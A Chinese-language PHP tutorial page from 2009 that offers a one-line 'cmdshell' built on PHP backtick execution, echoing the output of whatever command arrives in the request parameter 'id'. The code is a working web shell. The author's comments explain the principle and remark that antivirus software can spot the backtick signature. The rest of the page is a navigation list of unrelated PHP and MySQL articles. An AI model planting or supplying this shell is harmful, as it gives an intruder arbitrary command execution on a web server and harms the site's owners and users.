繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)
- PHP
- mysql 字段类型说明
- mysql 搜索之简单应用
- mysql 全文搜索 技巧
- escape unescape的php下的实现方法
- 解决php中Cannot send session cache limiter 的问题的方法
- php 中的str_replace 函数总结
- php下的权限算法的实现
- php下实现折线图效果的代码
- php中的MVC模式运用技巧
- 什么是MVC，好东西啊
- Windows下IIS6/Apache2.2.4+MySQL5.2+PHP5.2.1安装配置方法
- 不错的PHP学习之php4与php5之间会穿梭一点点感悟
- MySQL授权问题总结
- 站长助手-网站web在线管理程序 v1.0 下载
- MySQL GBK→UTF-8编码转换
- 中国站长站 For Dede4.0 采集规则
- Win2003下IIS+PHP+MySQL+Zend配置步骤详解
- Discuz板块横排显示图片的实现方法
- 测试您的 PHP 水平的题目
- PHP5.2下chunk_split()函数整数溢出漏洞 分析
PHP 中的 php一句话cmdshell新型 (非一句话木马)
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-12 浏览: 214 ::
收藏到网摘: n/a
php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
复制代码 代码如下:
<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)；
//局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>
评论 (0) All
